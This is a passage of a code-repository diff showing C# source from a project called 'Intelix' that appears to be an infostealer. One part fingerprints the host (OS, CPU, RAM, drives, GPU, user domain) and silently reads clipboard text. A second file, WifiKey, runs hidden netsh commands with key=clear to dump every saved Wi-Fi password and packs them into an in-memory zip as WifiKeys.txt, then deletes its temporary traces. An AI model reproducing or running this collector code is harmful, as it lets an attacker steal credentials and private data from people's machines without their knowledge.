StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("[System]");
|
||||
try
|
||||
{
|
||||
stringBuilder.AppendLine("OS Product: " + WindowsInfo.GetProductName());
|
||||
stringBuilder.AppendLine("OS Build: " + WindowsInfo.GetBuildNumber());
|
||||
stringBuilder.AppendLine("OS Arch: " + WindowsInfo.GetArchitecture());
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("OS: unavailable");
|
||||
}
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");
|
||||
string text = (registryKey?.GetValue("ProcessorNameString") as string) ?? (registryKey?.GetValue("VendorIdentifier") as string) ?? "Unknown";
|
||||
stringBuilder.AppendLine("CPU Name: " + text);
|
||||
stringBuilder.AppendLine($"Logical Cores: {Environment.ProcessorCount}");
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("CPU: unavailable");
|
||||
}
|
||||
try
|
||||
{
|
||||
NativeMethods.MEMORYSTATUSEX lpBuffer = new NativeMethods.MEMORYSTATUSEX
|
||||
{
|
||||
dwLength = (uint)Marshal.SizeOf(typeof(NativeMethods.MEMORYSTATUSEX))
|
||||
};
|
||||
if (NativeMethods.GlobalMemoryStatusEx(ref lpBuffer))
|
||||
{
|
||||
ulong num = lpBuffer.ullTotalPhys / 1024 / 1024;
|
||||
ulong num2 = lpBuffer.ullAvailPhys / 1024 / 1024;
|
||||
stringBuilder.AppendLine($"RAM Total (MB): {num}");
|
||||
stringBuilder.AppendLine($"RAM Available (MB): {num2}");
|
||||
}
|
||||
else
|
||||
{
|
||||
stringBuilder.AppendLine("RAM: unavailable");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("RAM: unavailable");
|
||||
}
|
||||
return stringBuilder.ToString().TrimEnd();
|
||||
}
|
||||
|
||||
private static string BuildDrivesSection()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("[Drives]");
|
||||
try
|
||||
{
|
||||
List<string> list = (from d in DriveInfo.GetDrives()
|
||||
where d.IsReady
|
||||
select d).Select(delegate(DriveInfo d)
|
||||
{
|
||||
long num = d.TotalSize / 1024 / 1024 / 1024;
|
||||
long num2 = d.TotalFreeSpace / 1024 / 1024 / 1024;
|
||||
return $"{d.Name.TrimEnd('\\')} {d.DriveType} FS:{d.DriveFormat} Size:{num}GB Free:{num2}GB";
|
||||
}).ToList();
|
||||
if (list.Any())
|
||||
{
|
||||
foreach (string item in list)
|
||||
{
|
||||
stringBuilder.AppendLine(item);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
stringBuilder.AppendLine("No ready drives");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("Drives: unavailable");
|
||||
}
|
||||
return stringBuilder.ToString().TrimEnd();
|
||||
}
|
||||
|
||||
private static string BuildGpuSection()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("[GPU]");
|
||||
try
|
||||
{
|
||||
List<string> gpuNames = GetGpuNames();
|
||||
if (gpuNames.Any())
|
||||
{
|
||||
foreach (string item in gpuNames)
|
||||
{
|
||||
stringBuilder.AppendLine(item);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
stringBuilder.AppendLine("None");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("GPUs: unavailable");
|
||||
}
|
||||
return stringBuilder.ToString().TrimEnd();
|
||||
}
|
||||
|
||||
private static string BuildBasicSection()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("[Basic]");
|
||||
try
|
||||
{
|
||||
stringBuilder.AppendLine("User Domain: " + Environment.UserDomainName);
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("User Domain: unavailable");
|
||||
}
|
||||
try
|
||||
{
|
||||
stringBuilder.AppendLine($"CLR Version: {Environment.Version}");
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("CLR Version: unavailable");
|
||||
}
|
||||
return stringBuilder.ToString().TrimEnd();
|
||||
}
|
||||
|
||||
private static string GetClipboardTextNoTimeout()
|
||||
{
|
||||
string result = string.Empty;
|
||||
try
|
||||
{
|
||||
Thread thread = new Thread((ThreadStart)delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Clipboard.ContainsText())
|
||||
{
|
||||
result = Clipboard.GetText();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
thread.SetApartmentState(ApartmentState.STA);
|
||||
thread.IsBackground = true;
|
||||
thread.Start();
|
||||
thread.Join();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return result ?? string.Empty;
|
||||
}
|
||||
|
||||
private static List<string> GetGpuNames()
|
||||
{
|
||||
List<string> list = new List<string>();
|
||||
try
|
||||
{
|
||||
uint num = 0u;
|
||||
NativeMethods.DISPLAY_DEVICE lpDisplayDevice = default(NativeMethods.DISPLAY_DEVICE);
|
||||
lpDisplayDevice.cb = Marshal.SizeOf(lpDisplayDevice);
|
||||
while (NativeMethods.EnumDisplayDevices(null, num, ref lpDisplayDevice, 0u))
|
||||
{
|
||||
if (!string.IsNullOrWhiteSpace(lpDisplayDevice.DeviceString))
|
||||
{
|
||||
list.Add(lpDisplayDevice.DeviceString.Trim());
|
||||
}
|
||||
num++;
|
||||
lpDisplayDevice = new NativeMethods.DISPLAY_DEVICE
|
||||
{
|
||||
cb = Marshal.SizeOf(typeof(NativeMethods.DISPLAY_DEVICE))
|
||||
};
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return list.Distinct().ToList();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,262 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using System.Xml.Linq;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class WifiKey : ITarget
|
||||
{
|
||||
private class WifiInfo
|
||||
{
|
||||
public string Profile;
|
||||
|
||||
public string Key;
|
||||
|
||||
public string Authentication;
|
||||
|
||||
public string Cipher;
|
||||
}
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
WifiInfo[] array = TryExportAndParseProfiles() ?? FallbackParseProfiles();
|
||||
if (array != null && array.Length != 0)
|
||||
{
|
||||
int num = Math.Max("Profile".Length, MaxLength(array, (WifiInfo r) => r.Profile));
|
||||
int num2 = Math.Max("Key".Length, MaxLength(array, (WifiInfo r) => r.Key));
|
||||
int num3 = Math.Max("Authentication".Length, MaxLength(array, (WifiInfo r) => r.Authentication));
|
||||
int num4 = Math.Max("Cipher".Length, MaxLength(array, (WifiInfo r) => r.Cipher));
|
||||
List<string> list = new List<string>();
|
||||
list.Add("Profile".PadRight(num) + " | " + "Key".PadRight(num2) + " | " + "Authentication".PadRight(num3) + " | " + "Cipher".PadRight(num4));
|
||||
list.Add(new string('-', num + num2 + num3 + num4 + 9));
|
||||
List<string> list2 = list;
|
||||
WifiInfo[] array2 = array;
|
||||
foreach (WifiInfo wifiInfo in array2)
|
||||
{
|
||||
string text = (string.IsNullOrEmpty(wifiInfo.Profile) ? "N/A" : wifiInfo.Profile);
|
||||
string text2 = (string.IsNullOrEmpty(wifiInfo.Key) ? "Not found" : wifiInfo.Key);
|
||||
string text3 = (string.IsNullOrEmpty(wifiInfo.Authentication) ? "Not found" : wifiInfo.Authentication);
|
||||
string text4 = (string.IsNullOrEmpty(wifiInfo.Cipher) ? "Not found" : wifiInfo.Cipher);
|
||||
list2.Add(text.PadRight(num) + " | " + text2.PadRight(num2) + " | " + text3.PadRight(num3) + " | " + text4.PadRight(num4));
|
||||
}
|
||||
zip.AddTextFile("WifiKeys.txt", string.Join("\n", list2));
|
||||
}
|
||||
}
|
||||
|
||||
private int MaxLength(WifiInfo[] arr, Func<WifiInfo, string> selector)
|
||||
{
|
||||
if (arr == null || arr.Length == 0)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
int num = 0;
|
||||
for (int i = 0; i < arr.Length; i++)
|
||||
{
|
||||
string text = selector(arr[i]) ?? "";
|
||||
if (text.Length > num)
|
||||
{
|
||||
num = text.Length;
|
||||
}
|
||||
}
|
||||
return num;
|
||||
}
|
||||
|
||||
private WifiInfo[] TryExportAndParseProfiles()
|
||||
{
|
||||
string text = Path.Combine(Path.GetTempPath(), "IntelixWifiExport_" + Guid.NewGuid().ToString("N"));
|
||||
try
|
||||
{
|
||||
Directory.CreateDirectory(text);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
try
|
||||
{
|
||||
using (Process process = new Process
|
||||
{
|
||||
StartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "netsh",
|
||||
Arguments = "wlan export profile key=clear folder=\"" + text + "\"",
|
||||
UseShellExecute = false,
|
||||
RedirectStandardOutput = false,
|
||||
CreateNoWindow = true
|
||||
}
|
||||
})
|
||||
{
|
||||
process.Start();
|
||||
process.WaitForExit(5000);
|
||||
}
|
||||
string[] array = Directory.EnumerateFiles(text, "*.xml").ToArray();
|
||||
if (array.Length == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
List<WifiInfo> list = new List<WifiInfo>(array.Length);
|
||||
string[] array2 = array;
|
||||
foreach (string text2 in array2)
|
||||
{
|
||||
try
|
||||
{
|
||||
XDocument xDocument = XDocument.Load(text2);
|
||||
string text3 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "name", StringComparison.OrdinalIgnoreCase) && e.Parent != null && string.Equals(e.Parent.Name.LocalName, "SSID", StringComparison.OrdinalIgnoreCase))?.Value;
|
||||
if (string.IsNullOrEmpty(text3))
|
||||
{
|
||||
text3 = Path.GetFileNameWithoutExtension(text2);
|
||||
}
|
||||
string text4 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "keyMaterial", StringComparison.OrdinalIgnoreCase))?.Value;
|
||||
string text5 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "authentication", StringComparison.OrdinalIgnoreCase))?.Value;
|
||||
string text6 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "encryption", StringComparison.OrdinalIgnoreCase))?.Value;
|
||||
list.Add(new WifiInfo
|
||||
{
|
||||
Profile = (text3 ?? "N/A"),
|
||||
Key = (string.IsNullOrEmpty(text4) ? "Not found" : text4),
|
||||
Authentication = (string.IsNullOrEmpty(text5) ? "Not found" : text5),
|
||||
Cipher = (string.IsNullOrEmpty(text6) ? "Not found" : text6)
|
||||
});
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return list.ToArray();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
Directory.Delete(text, recursive: true);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private WifiInfo[] FallbackParseProfiles()
|
||||
{
|
||||
string[] profiles = Profiles();
|
||||
if (profiles == null || profiles.Length == 0)
|
||||
{
|
||||
return new WifiInfo[0];
|
||||
}
|
||||
WifiInfo[] results = new WifiInfo[profiles.Length];
|
||||
Parallel.For(0, profiles.Length, delegate(int i)
|
||||
{
|
||||
string text = profiles[i];
|
||||
try
|
||||
{
|
||||
using Process process = new Process
|
||||
{
|
||||
StartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "netsh",
|
||||
Arguments = "wlan show profile name=\"" + text + "\" key=clear",
|
||||
UseShellExecute = false,
|
||||
RedirectStandardOutput = true,
|
||||
CreateNoWindow = true,
|
||||
StandardOutputEncoding = Encoding.UTF8
|
||||
}
|
||||
};
|
||||
process.Start();
|
||||
string input = process.StandardOutput.ReadToEnd();
|
||||
process.WaitForExit();
|
||||
string match = GetMatch(input, "Key Content\\s*:\\s*(.+)");
|
||||
string match2 = GetMatch(input, "Authentication\\s*:\\s*(.+)");
|
||||
string match3 = GetMatch(input, "Cipher\\s*:\\s*(.+)");
|
||||
results[i] = new WifiInfo
|
||||
{
|
||||
Profile = text,
|
||||
Key = (string.IsNullOrEmpty(match) ? "Not found" : match),
|
||||
Authentication = (string.IsNullOrEmpty(match2) ? "Not found" : match2),
|
||||
Cipher = (string.IsNullOrEmpty(match3) ? "Not found" : match3)
|
||||
};
|
||||
}
|
||||
catch
|
||||
{
|
||||
results[i] = new WifiInfo
|
||||
{
|
||||
Profile = text,
|
||||
Key = "Error",
|
||||
Authentication = "Error",
|
||||
Cipher = "Error"
|
||||
};
|
||||
}
|
||||
});
|
||||
return results;
|
||||
}
|
||||
|
||||
private string[] Profiles()
|
||||
{
|
||||
string[] array2;
|
||||
try
|
||||
{
|
||||
using Process process = new Process
|
||||
{
|
||||
StartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "netsh",
|
||||
Arguments = "wlan show profiles",
|
||||
UseShellExecute = false,
|
||||
RedirectStandardOutput = true,
|
||||
CreateNoWindow = true,
|
||||
StandardOutputEncoding = Encoding.UTF8
|
||||
}
|
||||
};
|
||||
process.Start();
|
||||
string text = process.StandardOutput.ReadToEnd();
|
||||
process.WaitForExit();
|
||||
string[] array = text.Split(new char[2] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries);
|
||||
List<string> list = new List<string>();
|
||||
array2 = array;
|
||||
foreach (string text2 in array2)
|
||||
{
|
||||
int num = text2.LastIndexOf(':');
|
||||
if (num >= 0 && num + 1 < text2.Length)
|
||||
{
|
||||
string text3 = text2.Substring(num + 1).Trim();
|
||||
if (!string.IsNullOrEmpty(text3))
|
||||
{
|
||||
list.Add(text3);
|
||||
}
|
||||
}
|
||||
}
|
||||
array2 = list.ToArray();
|
||||
}
|
||||
catch
|
||||
{
|
||||
array2 = new string[0];
|
||||
}
|
||||
return array2;
|
||||
}
|
||||
|
||||
private string GetMatch(string input, string pattern)
|
||||
{
|
||||
if (string.IsNullOrEmpty(input))
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
Match match = Regex.Match(input, pattern, RegexOptions.IgnoreCase | RegexOptions.Multiline);
|
||||
if (!match.Success)
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
return match.Groups[1].Value.Trim();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user